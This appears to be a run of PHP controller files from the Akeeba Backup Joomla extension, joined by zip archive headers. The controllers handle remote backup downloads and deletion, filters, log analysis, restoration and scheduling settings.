	 * @since   7.0.3
	 */
	public function addRandomToFilename($cachable = false, $urlparams = [])
	{
		// CSRF prevention
		$this->checkToken();

		$registry     = Factory::getConfiguration();
		$templateName = $registry->get('akeeba.basic.archive_name');

		if (strpos($templateName, '[RANDOM]') === false)
		{
			$templateName .= '-[RANDOM]';
			$registry->set('akeeba.basic.archive_name', $templateName);
			Platform::getInstance()->save_configuration();
		}

		$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup');
	}

	/**
	 * Dismisses the Core to Pro upsell for 15 days
	 *
	 * @return  void
	 */
	public function dismissUpsell($cachable = false, $urlparams = [])
	{
		$reset = $this->input->getBool('reset', false);

		$params = ComponentHelper::getParams('com_akeebabackup');

		// Reset the flag so the updates could take place
		$params->set('lastUpsellDismiss', $reset ? 0 : time());

		$this->app->bootComponent('com_akeebabackup')
			->getComponentParametersService()
			->save($params);

		$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup');
	}

}PK     \G7&  &  (  src/Controller/RemotefilesController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\RemotefilesModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Uri\Uri;
use Joomla\Input\Input;
use RuntimeException;

class RemotefilesController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerRegisterTasksTrait;
	use ControllerReusableModelsTrait;

	private bool $noFlush = false;

	public function __construct(
		$config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null
	)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->noFlush = ComponentHelper::getParams('com_akeebabackup')->get('no_flush', 0) == 1;

		$this->registerControllerTasks('invalidTask');
	}

	public function display($cachable = false, $urlparams = [])
	{
		$document   = $this->app->getDocument();
		$viewType   = $document->getType();
		$viewName   = $this->input->get('view', $this->default_view);
		$viewLayout = $this->input->get('layout', 'default', 'string');

		$view = $this->getView($viewName, $viewType, '', ['base_path' => $this->basePath, 'layout' => $viewLayout]);

		// Get/Create the model
		if ($model = $this->getModel($viewName, 'Administrator', ['base_path' => $this->basePath]))
		{
			// Push the model into the view (as default)
			$view->setModel($model, true);
		}

		$view->setDocument($document);
		$view->task     = $this->task;
		$view->doTask   = $this->doTask;

		// Display the view
		$view->display();

		return $this;
	}


	/**
	 * When someone calls this controller without a task we have to show an error message. This is implemented by
	 * having this task throw a runtime exception and set it as the default task.
	 *
	 * @return  void
	 *
	 * @noinspection PhpUnused
	 */
	public function invalidTask()
	{
		throw new RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'), 403);
	}

	/**
	 * Lists the available remote storage actions for a specific backup entry
	 *
	 * @return  void
	 * @throws  Exception
	 */
	public function listactions()
	{
		// List available actions
		$id = $this->getAndCheckId();

		/** @var RemotefilesModel $model */
		$model = $this->getModel('Remotefiles', 'Administrator');
		$model->setState('id', $id);

		if ($id === false)
		{
			throw new RuntimeException(Text::_('JGLOBAL_RESOURCE_NOT_FOUND'), 404);
		}

		$this->display(false);
	}


	/**
	 * Fetches a complete backup set from a remote storage location to the local (server)
	 * storage so that the user can download or restore it.
	 *
	 * @return  void
	 * @throws  Exception
	 *
	 * @noinspection PhpUnused
	 */
	public function dltoserver()
	{
		$this->checkToken($this->input->getMethod());

		// Get the parameters
		$id   = $this->getAndCheckId();
		$part = $this->input->get('part', -1, 'int');
		$frag = $this->input->get('frag', -1, 'int');

		// Check the ID
		if ($id === false)
		{
			$url = Uri::base()
			       . 'index.php?option=com_akeebabackup&view=Remotefiles&tmpl=component&task=listactions&id=' . $id;
			$this->setRedirect($url, Text::_('COM_AKEEBABACKUP_REMOTEFILES_ERR_INVALIDID'), 'error');

			return;
		}

		if (($part == -1) && ($frag == -1))
		{
			$this->triggerEvent('onFetch', [$id]);
		}

		/** @var RemotefilesModel $model */
		$model = $this->getModel('Remotefiles', 'Administrator');

		try
		{
			$result = $model->downloadToServer($id, $part, $frag);
		}
		catch (Exception $e)
		{
			$allErrors = $model->getErrorsFromExceptions($e);
			$url       = Uri::base()
			             . 'index.php?option=com_akeebabackup&view=Remotefiles&tmpl=component&task=listactions&id='
			             . $id;

			$this->setRedirect($url, implode('<br/>', $allErrors), 'error');

			return;
		}

		if ($result === true)
		{
			$url = Uri::base()
			       . 'index.php?option=com_akeebabackup&view=Remotefiles&tmpl=component&task=listactions&id=' . $id;
			$this->setRedirect($url, Text::_('COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHED'));

			return;
		}

		$this->display(false);
	}

	/**
	 * Downloads a file from the remote storage to the user's browser
	 *
	 * @return  void
	 *
	 * @noinspection PhpUnused
	 */
	public function dlfromremote()
	{
		$id   = $this->getAndCheckId();
		$part = $this->input->get('part', 0, 'int');

		if ($id === false)
		{
			$url = Uri::base()
			       . 'index.php?option=com_akeebabackup&view=Remotefiles&tmpl=component&task=listactions&id=' . $id;
			$this->setRedirect($url, Text::_('COM_AKEEBABACKUP_REMOTEFILES_ERR_INVALIDID'), 'error');

			return;
		}

		$stat                = Platform::getInstance()->get_statistics($id);
		$remoteFilenameParts = explode('://', $stat['remote_filename']);
		$engine              = Factory::getPostprocEngine($remoteFilenameParts[0]);
		$remote_filename     = $remoteFilenameParts[1];

		$basename  = basename($remote_filename);
		$extension = strtolower(str_replace(".", "", strrchr($basename, ".")));

		$new_extension = $extension;

		if ($part > 0)
		{
			$new_extension = substr($extension, 0, 1) . sprintf('%02u', $part);
		}

		$this->triggerEvent('onDownload', [$id, $part + 1]);

		$filename        = $basename . '.' . $new_extension;
		$remote_filename = substr($remote_filename, 0, -strlen($extension)) . $new_extension;

		if ($engine->doesInlineDownloadToBrowser())
		{
			@ob_end_clean();
			@clearstatcache();

			// Send MIME headers
			header('MIME-Version: 1.0');
			header('Content-Disposition: attachment; filename="' . $filename . '"');
			header('Content-Transfer-Encoding: binary');

			switch ($extension)
			{
				case 'zip':
					// ZIP MIME type
					header('Content-Type: application/zip');
					break;

				default:
					// Generic binary data MIME type
					header('Content-Type: application/octet-stream');
					break;
			}

			// Disable caching
			header('Expires: Mon, 20 Dec 1998 01:00:00 GMT');
			header('Cache-Control: no-cache, must-revalidate');
			header('Pragma: no-cache');
		}

		try
		{
			$result = $engine->downloadToBrowser($remote_filename);
		}
		catch (Exception $e)
		{
			$result = null;

			// Failed to download. Get the messages from the engine.
			$errors          = [];
			$parentException = $e;
			while ($parentException)
			{
				$errors[]        = $e->getMessage();
				$parentException = $e->getPrevious();
			}

			// Redirect and convey the errors to the user
			$url = Uri::base()
			       . 'index.php?option=com_akeebabackup&view=Remotefiles&tmpl=component&task=listactions&id=' . $id;
			$this->setRedirect($url, implode('<br/>', $errors), 'error');
		}

		if (!is_null($result))
		{
			// We have to redirect
			$result = str_replace('://%2F', '://', $result);
			@ob_end_clean();
			header('Location: ' . $result);

			if (!$this->noFlush)
			{
				flush();
			}

			$this->app->close();
		}
	}

	/**
	 * Deletes a file from the remote storage
	 *
	 * @return  void
	 */
	public function delete()
	{
		// Get the parameters
		$id   = $this->getAndCheckId();
		$part = $this->input->get('part', -1, 'int');

		// Check the ID
		if ($id === false)
		{
			$url = Uri::base()
			       . 'index.php?option=com_akeebabackup&view=Remotefiles&tmpl=component&task=listactions&id=' . $id;
			$this->setRedirect($url, Text::_('COM_AKEEBABACKUP_REMOTEFILES_ERR_INVALIDID'), 'error');

			return;
		}

		if ($part == -1)
		{
			$this->triggerEvent('onDelete', [$id]);
		}

		/** @var RemotefilesModel $model */
		$model = $this->getModel('Remotefiles', 'Administrator');
		$model->setState('id', $id);
		$model->setState('part', $part);

		try
		{
			$result = $model->deleteRemoteFiles($id, $part);
		}
		catch (Exception $e)
		{
			$allErrors = $model->getErrorsFromExceptions($e);
			$url       = Uri::base()
			             . 'index.php?option=com_akeebabackup&view=Remotefiles&tmpl=component&task=listactions&id='
			             . $id;

			$this->setRedirect($url, implode('<br/>', $allErrors), 'error');

			return;
		}

		if ($result['finished'])
		{
			$url = Uri::base()
			       . 'index.php?option=com_akeebabackup&view=Remotefiles&tmpl=component&task=listactions&id=' . $id;
			$this->setRedirect($url, Text::_('COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHEDELETING'));

			return;
		}

		$url = Uri::base() . 'index.php?option=com_akeebabackup&view=Remotefiles&tmpl=component&task=delete&id='
		       . $result['id'] .
		       '&part=' . $result['part'];
		$this->setRedirect($url);
	}

	/**
	 * Gets the stats record ID from the request and checks that it does exist
	 *
	 * @return  bool|int  False if an invalid ID is found, the numeric ID if it's valid
	 */
	private function getAndCheckId()
	{
		$id = $this->input->get('id', 0, 'int');

		if ($id <= 0)
		{
			return false;
		}

		$backupRecord = Platform::getInstance()->get_statistics($id);

		if (empty($backupRecord) || !is_array($backupRecord))
		{
			return false;
		}

		// Load the correct backup profile. The post-processing engine could rely on the active profile (ie OneDrive).
		define('AKEEBA_PROFILE', $backupRecord['profile_id']);
		Platform::getInstance()->load_configuration($backupRecord['profile_id']);

		return $id;
	}

}PK     \ecV    -  src/Controller/RegexfilefiltersController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerAjaxTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileAccessTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileRestrictionTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\Input\Input;

class RegexfilefiltersController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait
	{
		ControllerCustomACLTrait::onBeforeExecute as onBeforeExecuteACL;
	}
	use ControllerProfileRestrictionTrait
	{
		ControllerProfileRestrictionTrait::onBeforeExecute as onBeforeExecuteRestrictedProfile;
	}
	use ControllerReusableModelsTrait;
	use ControllerAjaxTrait;
	use ControllerProfileAccessTrait;

	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->decodeJsonAsArray = true;
	}

	protected function onBeforeExecute(&$task)
	{
		$this->onBeforeExecuteACL($task);
		$this->onBeforeExecuteRestrictedProfile($task);
	}
}PK     \N    .  src/Controller/MultipledatabasesController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerAjaxTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileAccessTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileRestrictionTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\Input\Input;

class MultipledatabasesController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait
	{
		ControllerCustomACLTrait::onBeforeExecute as onBeforeExecuteACL;
	}
	use ControllerProfileRestrictionTrait
	{
		ControllerProfileRestrictionTrait::onBeforeExecute as onBeforeExecuteRestrictedProfile;
	}
	use ControllerReusableModelsTrait;
	use ControllerAjaxTrait;
	use ControllerProfileAccessTrait;

	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->decodeJsonAsArray = true;
	}

	protected function onBeforeExecute(&$task)
	{
		$this->onBeforeExecuteACL($task);
		$this->onBeforeExecuteRestrictedProfile($task);
	}
}PK     \/U  U  ,  src/Controller/DatabasefiltersController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerAjaxTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileAccessTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileRestrictionTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Joomla\CMS\MVC\Controller\BaseController;

class DatabasefiltersController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait
	{
		ControllerCustomACLTrait::onBeforeExecute as onBeforeExecuteACL;
	}
	use ControllerProfileRestrictionTrait
	{
		ControllerProfileRestrictionTrait::onBeforeExecute as onBeforeExecuteRestrictedProfile;
	}
	use ControllerReusableModelsTrait;
	use ControllerAjaxTrait;
	use ControllerProfileAccessTrait;

	protected function onBeforeExecute(&$task)
	{
		$this->onBeforeExecuteACL($task);
		$this->onBeforeExecuteRestrictedProfile($task);
	}
}PK     \Ӕ)3  3  "  src/Controller/AliceController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\AliceModel;
use Akeeba\Engine\Core\Timer;
use Exception;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Uri\Uri;
use Joomla\Input\Input;
use RuntimeException;

class AliceController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerRegisterTasksTrait;
	use ControllerReusableModelsTrait;

	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->registerControllerTasks('main');
	}

	protected function onBeforeMain()
	{
		$this->getView()->setModel($this->getModel('Log', 'Administrator'), false);

		$this->getModel('Alice', 'Administrator')->setState('log', $this->input->getCmd('log', null));
	}

	/**
	 * Start scanning the log file. Calls step().
	 *
	 * @throws Exception
	 * @see    step()
	 *
	 */
	public function start()
	{
		// Make sure we have an anti-CSRF token
		$this->checkToken('request');

		// Reset the model state and tell which log file we'll be scanning
		/** @var AliceModel $model */
		$model = $this->getModel('Alice', 'Administrator');
		$log   = $this->input->getCmd('log', '');

		$model->reset($log);

		// Run the first step.
		$this->step();
	}

	public function step()
	{
		// Make sure we have an anti-CSRF token
		$this->checkToken('request');

		// Run a scanner step
		/** @var AliceModel $model */
		$model = $this->getModel('Alice', 'Administrator');
		$timer = new Timer(4, 75);

		try
		{
			$finished = $model->analyze($timer);
		}
		catch (Exception $e)
		{
			// Error in the scanner: show the error page
			$this->app->getSession()->set('akeebabackup.aliceException', $e);
			$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup&view=Alice&task=error');

			return;
		}
		finally
		{
			$model->saveStateToSession();
		}

		if ($finished)
		{
			$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup&task=Alice.result');

			return;
		}

		$this->getView()->setLayout('step');
		$this->display(false);
	}

	public function result()
	{
		$this->getView()->setLayout('result');
		$this->display(false);
	}

	public function error()
	{
		// Don't use CRSF protection here. We check whether we have an error exception to display.
		$exception = $this->app->getSession()->get('akeebabackup.aliceException', null);

		if (!is_object($exception) || !($exception instanceof Exception))
		{
			throw new RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		$this->getView()->setLayout('error');
		$this->display(false);
	}
}PK     \eEF  F  0  src/Controller/ConfigurationwizardController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ConfigurationwizardModel;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\Input\Input;

class ConfigurationwizardController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerRegisterTasksTrait;

	private bool $noFlush = false;

	public function __construct(
		$config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null
	)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->noFlush = ComponentHelper::getParams('com_akeebabackup')->get('no_flush', 0) == 1;

		$this->registerControllerTasks('main');
	}

	public function main($cachable = false, $urlparams = [])
	{
		$this->display($cachable, $urlparams);
	}

	public function ajax($cachable = false, $urlparams = [])
	{
		/** @var ConfigurationwizardModel $model */
		$model = $this->getModel('Configurationwizard', 'Administrator');
		$model->setState('act', $this->input->getCmd('act', ''));
		$ret = $model->runAjax();

		@ob_end_clean();
		echo '###' . json_encode($ret) . '###';

		if (!$this->noFlush)
		{
			flush();
		}

		Factory::getApplication()->close();
	}
}PK     \tx-  -  $  src/Controller/RestoreController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\RestoreModel;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Uri\Uri;
use Joomla\Input\Input;

class RestoreController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerRegisterTasksTrait;
	use ControllerReusableModelsTrait;

	private bool $noFlush = false;

	public function __construct(
		$config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null
	)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->noFlush = ComponentHelper::getParams('com_akeebabackup')->get('no_flush', 0) == 1;

		$this->registerControllerTasks('main');
	}

	/**
	 * Main task, displays the main page
	 */
	public function main()
	{
		/** @var RestoreModel $model */
		$model = $this->getModel('Restore', 'Administrator');

		$message = $model->validateRequest();

		if ($message !== true)
		{
			$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup&view=Manage', $message, 'error');
			$this->redirect();

			return;
		}

		$model->setState('restorationstep', 0);

		$this->display(false);
	}

	/**
	 * Start the restoration
	 */
	public function start()
	{
		$this->checkToken();

		/** @var RestoreModel $model */
		$model = $this->getModel('Restore', 'Administrator');

		$model->setState('restorationstep', 1);
		$message = $model->validateRequest();

		if ($message !== true)
		{
			$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup&view=Manage', $message, 'error');
			$this->redirect();

			return;
		}

		$model->setState('jps_key', $this->input->get('jps_key', '', 'raw'));
		$model->setState('procengine', $this->input->get('procengine', 'direct', 'cmd'));
		$model->setState('zapbefore', $this->input->get('zapbefore', 0, 'int'));
		$model->setState('stealthmode', $this->input->get('stealthmode', 0, 'int'));
		$model->setState('min_exec', $this->input->get('min_exec', 0, 'int'));
		$model->setState('max_exec', $this->input->get('max_exec', 5, 'int'));
		$model->setState('ftp_host', $this->input->get('ftp_host', '', 'raw'));
		$model->setState('ftp_port', $this->input->get('ftp_port', 21, 'int'));
		$model->setState('ftp_user', $this->input->get('ftp_user', '', 'raw'));
		$model->setState('ftp_pass', $this->input->get('ftp_pass', '', 'raw'));
		$model->setState('ftp_root', $this->input->get('ftp_root', '', 'raw'));
		$model->setState('tmp_path', $this->input->get('tmp_path', '', 'raw'));
		$model->setState('ftp_ssl', $this->input->get('usessl', 'false', 'cmd') == 'true');
		$model->setState('ftp_pasv', $this->input->get('passive', 'true', 'cmd') == 'true');

		$status = $model->createRestorationINI();

		if ($status === false)
		{
			$this->setRedirect(
				Uri::base() . 'index.php?option=com_akeebabackup&view=Manage',
				Text::_('COM_AKEEBABACKUP_RESTORE_ERROR_CANT_WRITE'), 'error'
			);
			$this->redirect();

			return;
		}

		$this->display(false);
	}

	/**
	 * Perform a step through AJAX
	 */
	public function ajax()
	{
		/** @var RestoreModel $model */
		$model = $this->getModel('Restore', 'Administrator');

		$ajax = $this->input->get('ajax', '', 'cmd');
		$model->setState('ajax', $ajax);

		$ret = $model->doAjax();

		@ob_end_clean();
		echo '###' . json_encode($ret) . '###';

		if (!$this->noFlush)
		{
			flush();
		}

		$this->app->close();
	}
}PK     \$`G<  <  %  src/Controller/ScheduleController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Engine\Util\RandomValue;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Uri\Uri;

class ScheduleController extends BaseController
{
	use ControllerCustomACLTrait;

	public function enableFrontend(bool $cachable = false, array $urlparams = [])
	{
		// CSRF prevention
		$this->checkToken('request');

		$params = ComponentHelper::getParams('com_akeebabackup');

		$params->set('legacyapi_enabled', 1);

		$secretWord = $params->get('frontend_secret_word', null);

		if (empty($secretWord))
		{
			$random    = new RandomValue();
			$newSecret = $random->generateString(32);
			$params->set('frontend_secret_word', $newSecret);
		}

		$this->app->bootComponent('com_akeebabackup')
			->getComponentParametersService()
			->save($params);

		$url = Uri::base() . 'index.php?option=com_akeebabackup&view=Schedule';

		$this->setRedirect($url);
	}

	public function enableJsonApi(bool $cachable = false, array $urlparams = [])
	{
		// CSRF prevention
		$this->checkToken('request');

		$params = ComponentHelper::getParams('com_akeebabackup');

		$params->set('jsonapi_enabled', 1);

		$secretWord = $params->get('frontend_secret_word', null);

		if (empty($secretWord))
		{
			$random    = new RandomValue();
			$newSecret = $random->generateString(32);
			$params->set('frontend_secret_word', $newSecret);
		}

		$this->app->bootComponent('com_akeebabackup')
			->getComponentParametersService()
			->save($params);

		$url = Uri::base() . 'index.php?option=com_akeebabackup&view=Schedule';

		$this->setRedirect($url);
	}

	public function resetSecretWord(bool $cachable = false, array $urlparams = []): void
	{
		// CSRF prevention
		$this->checkToken('request');

		$newSecret = JoomlaFactory::getApplication()->getSession()->get('akeebabackup.cpanel.newSecretWord', null);

		if (empty($newSecret))
		{
			$random    = new RandomValue();
			$newSecret = $random->generateString(32);
			JoomlaFactory::getApplication()->getSession()->set('akeebabackup.cpanel.newSecretWord', $newSecret);
		}

		$params = ComponentHelper::getParams('com_akeebabackup');

		$params->set('frontend_secret_word', $newSecret);

		$this->app->bootComponent('com_akeebabackup')
			->getComponentParametersService()
			->save($params);

		JoomlaFactory::getApplication()->getSession()->set('akeebabackup.cpanel.newSecretWord', null);

		$url = Uri::base() . 'index.php?option=com_akeebabackup&view=Schedule';

		$this->setRedirect($url);
	}
}PK     \7`F  F  1  src/Controller/RegexdatabasefiltersController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerAjaxTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileAccessTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileRestrictionTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\Input\Input;

class RegexdatabasefiltersController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait
	{
		ControllerCustomACLTrait::onBeforeExecute as onBeforeExecuteACL;
	}
	use ControllerReusableModelsTrait;
	use ControllerAjaxTrait;
	use ControllerProfileAccessTrait;
	use ControllerProfileRestrictionTrait
	{
		ControllerProfileRestrictionTrait::onBeforeExecute as onBeforeExecuteRestrictedProfile;
	}

	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->decodeJsonAsArray = true;
	}

	protected function onBeforeExecute(&$task)
	{
		$this->onBeforeExecuteACL($task);
		$this->onBeforeExecuteRestrictedProfile($task);
	}

	public function onBeforeMain()
	{
		$view = $this->getView();
		$view->setModel($this->getModel('Databasefilters', 'Administrator'), false);
	}
}PK     \&mW    !  src/Controller/PushController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * @package     Akeeba\Component\AkeebaBackup\Administrator\Controller
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\WebPush\NotificationOptions;
use Akeeba\WebPush\WebPush\WebPush;
use Akeeba\WebPush\WebPushControllerTrait;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;

if (!class_exists(WebPush::class))
{
	require_once JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/autoload.php';
}

/**
 * A controller to manage the Push API subscriptions
 *
 * @since       9.3.1
 */
class PushController extends BaseController
{
	use WebPushControllerTrait;

	/** @inheritDoc */
	public function getModel($name = 'Push', $prefix = 'Administrator', $config = [])
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Sends an example push notification on push subscription to let the user know everything works.
	 *
	 * @param   object|null  $subscription  The push subscription we just registered into the database
	 *
	 * @since   9.3.1
	 */
	protected function onAfterWebPushSaveSubscription(?object $subscription)
	{
		$siteName = $this->app->get('sitename');

		$title = Text::sprintf('COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_TITLE', $siteName);
		$options = new NotificationOptions();
		$options->body = Text::_('COM_AKEEBABACKUP_CONTROLPANEL_WEBPUSH_HELLO_BODY');

		$this->getModel()->sendNotification(
			$title,
			$options->toArray(),
			null,
			$subscription
		);
	}
